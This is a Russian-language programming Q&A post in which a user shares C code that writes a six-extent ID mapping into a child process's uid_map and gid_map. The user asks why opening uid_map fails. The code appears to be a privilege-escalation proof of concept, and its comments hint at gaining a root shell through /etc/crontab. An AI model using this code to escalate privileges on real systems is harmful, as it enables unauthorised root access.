Почему я не могу открыть uid_map дочернего процесса в Linux? - PullRequest
0 голосов
/ 15 марта 2019

Я использую этот код в Archlinux (версия ядра 5.0.0) как обычный пользователь без полномочий root.

#define _GNU_SOURCE
#include <err.h>
#include <fcntl.h>
#include <grp.h>
#include <sched.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <unistd.h>

int main(void)
{
    int sync_pipe[2];
    char dummy;
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe))
        err(1, "pipe");

    // create a child process
    pid_t child = fork();
    if (child == -1)
        err(1, "fork");
    if (child == 0) {
        // in child process
        close(sync_pipe[1]);

        // this creates a new ns
        if (unshare(CLONE_NEWUSER))
            err(1, "unshare userns");
        if (write(sync_pipe[0], "X", 1) != 1)
            err(1, "write to sock");

        if (read(sync_pipe[0], &dummy, 1) != 1)
            err(1, "read from sock");

        // start a bash process (replace process image)
        // this time you are actually root, without the name/id, though
        // technically the root access is not complete,
        // to get complete root, write to /etc/crontab and wait for a root shell to pop up
        execl("/bin/bash", "bash", NULL);
        err(1, "exec");
    }

    close(sync_pipe[0]);
    if (read(sync_pipe[1], &dummy, 1) != 1)
        err(1, "read from sock");

    char pbuf[100]; // path of uid_map
    sprintf(pbuf, "/proc/%d", (int)child);

    // cd to /proc/pid/uid_map
    if (chdir(pbuf))
        err(1, "chdir");

    // our new id mapping with 6 extents (> 5 extents)
    const char* id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n";

    // write the new mapping to uid_map and gid_map
    int uid_map = open("uid_map", O_WRONLY);
    if (uid_map == -1)
        err(1, "open uid map");
    if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping))
        err(1, "write uid map");
    close(uid_map);
    int gid_map = open("gid_map", O_WRONLY);
    if (gid_map == -1)
        err(1, "open gid map");
    if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping))
        err(1, "write gid map");
    close(gid_map);
    if (write(sync_pipe[1], "X", 1) != 1)
        err(1, "write to sock");

    int status;
    if (wait(&status) != child)
        err(1, "wait");
    return 0;
}

Я просто компилирую его с помощью gcc -o j j.c, затем запускаю ./j, я получил

j: write uid map: Operation not permitted
j: read from sock: Success 

Хорошо, это понятно, у меня нет CAP_SETUID, как упомянуто на странице руководства http://man7.org/linux/man-pages/man7/user_namespaces.7.html,

Для того, чтобы процесс мог записать в / proc / [файл pid] / uid_map (/ proc / [pid] / gid_map), должны быть выполнены все следующие требования:

   1. The writing process must have the CAP_SETUID (CAP_SETGID) capabil‐
      ity in the user namespace of the process pid.

   2. The writing process must either be in the user namespace of the
      process pid or be in the parent user namespace of the process pid.

   3. The mapped user IDs (group IDs) must in turn have a mapping in the
      parent user namespace.

   4. One of the following two cases applies:

      *  Either the writing process has the CAP_SETUID (CAP_SETGID)
         capability in the parent user namespace.

         +  No further restrictions apply: the process can make mappings
            to arbitrary user IDs (group IDs) in the parent user names‐
            pace.

      *  Or otherwise all of the following restrictions apply:

         +  The data written to uid_map (gid_map) must consist of a sin‐
            gle line that maps the writing process's effective user ID
            (group ID) in the parent user namespace to a user ID (group
            ID) in the user namespace.

         +  The writing process must have the same effective user ID as
            the process that created the user namespace.

         +  In the case of gid_map, use of the setgroups(2) system call
            must first be denied by writing "deny" to the
            /proc/[pid]/setgroups file (see below) before writing to
            gid_map.

   Writes that violate the above rules fail with the error EPERM.

А затем я использую sudo setcap cap_setuid+eip j;./j, я получил

j: open uid map: Permission denied
j: read from sock: Success

Вопрос: Почему я больше не могу открыть файл uid_map дочернего процесса?

...